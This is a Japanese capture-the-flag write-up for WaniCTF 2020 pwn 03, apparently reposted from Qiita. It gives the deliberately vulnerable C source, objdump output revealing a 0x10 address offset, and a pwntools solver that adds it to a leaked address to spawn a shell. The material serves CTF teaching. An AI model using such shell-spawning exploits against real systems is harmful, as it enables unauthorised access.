WaniCTF 2020 pwn 03 binsh address Writeup
実行すると
$ ./pwn03
The address of "input " is 0x555e3fd04010.
Please input "/bin/sh" address as a hex number:
"input" のアドレスをリークするから, "/bin/sh" のアドレスを答えよ
という問題
ソースは
pwn03.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
char str_tail[] = "\" address as a hex number: ";
void init();
void vuln()
{
char name[0x20];
unsigned long int val;
char *p;
int ret;
write(0, str_head, strlen(str_head));
write(0, binsh, strlen(binsh));
write(0, str_tail, strlen(str_tail));
ret = read(0, name, 0x20);
name[ret - 1] = 0;
val = strtol(name, NULL, 16);
printf("Your input address is 0x%lx.\n", val);
p = (char *) val;
if(p == binsh){
puts("Congratulation!");
system(p);
exit(0);
}else{
puts("You are wrong.\n\n");
}
}
int main()
{
init();
printf("The address of \"input \" is 0x%lx.\n", (unsigned long int) str_head);
while (1)
{
vuln();
}
}
void init()
{
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
注目すべき点は
char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
printf("The address of \"input \" is 0x%lx.\n", (unsigned long int) str_head);
リークされた str_head のアドレスのすぐ近くに binsh のアドレスがある。
objdump で見てみる
$ objdump -d -M intel ./pwn03 | grep str_head
a11: 48 8d 3d f8 15 20 00 lea rdi,[rip+0x2015f8] # 202010 <str_head>
a20: 48 8d 35 e9 15 20 00 lea rsi,[rip+0x2015e9] # 202010 <str_head>
b31: 48 8d 05 d8 14 20 00 lea rax,[rip+0x2014d8] # 202010 <str_head>
$ objdump -d -M intel ./pwn03 | grep binsh
a31: 48 8d 3d e8 15 20 00 lea rdi,[rip+0x2015e8] # 202020 <binsh>
a40: 48 8d 35 d9 15 20 00 lea rsi,[rip+0x2015d9] # 202020 <binsh>
ad1: 48 8d 05 48 15 20 00 lea rax,[rip+0x201548] # 202020 <binsh>
str_head と binsh の相対アドレスの差は 0x10
なのでリークされたアドレスに + 0x10 する
$ ./pwn03
The address of "input " is 0x55e86f004010.
Please input "/bin/sh" address as a hex number: 0x55e86f004020
Your input address is 0x55e86f004020.
Congratulation!
pwnツールを使ったソルバー
pwn03.py
import pwn
#io = pwn.remote("binsh.wanictf.org", 9003)
io = pwn.process("./pwn03")
ret = io.readuntil("The address of \"input \" is ")
print(ret)
leak = io.readuntil(".")
print("leak="+leak)
ans = hex(int(leak[2:14],16)+0x10)
print("ans="+ans)
#ret = io.readuntil("number: ")
#print(ret)
io.sendline(ans)
io.interactive()
実行結果
$ python pwn03.py
[+] Starting local process './pwn03': pid 3393
The address of "input " is
leak=0x55bba0aea010.
ans=0x55bba0aea020
[*] Switching to interactive mode
Your input address is 0x55bba0aea020.
Congratulation!
$ ls
Author And Source
この問題について(WaniCTF 2020 pwn 03 binsh address Writeup), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/3a38dfb411e593b9b1d6著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .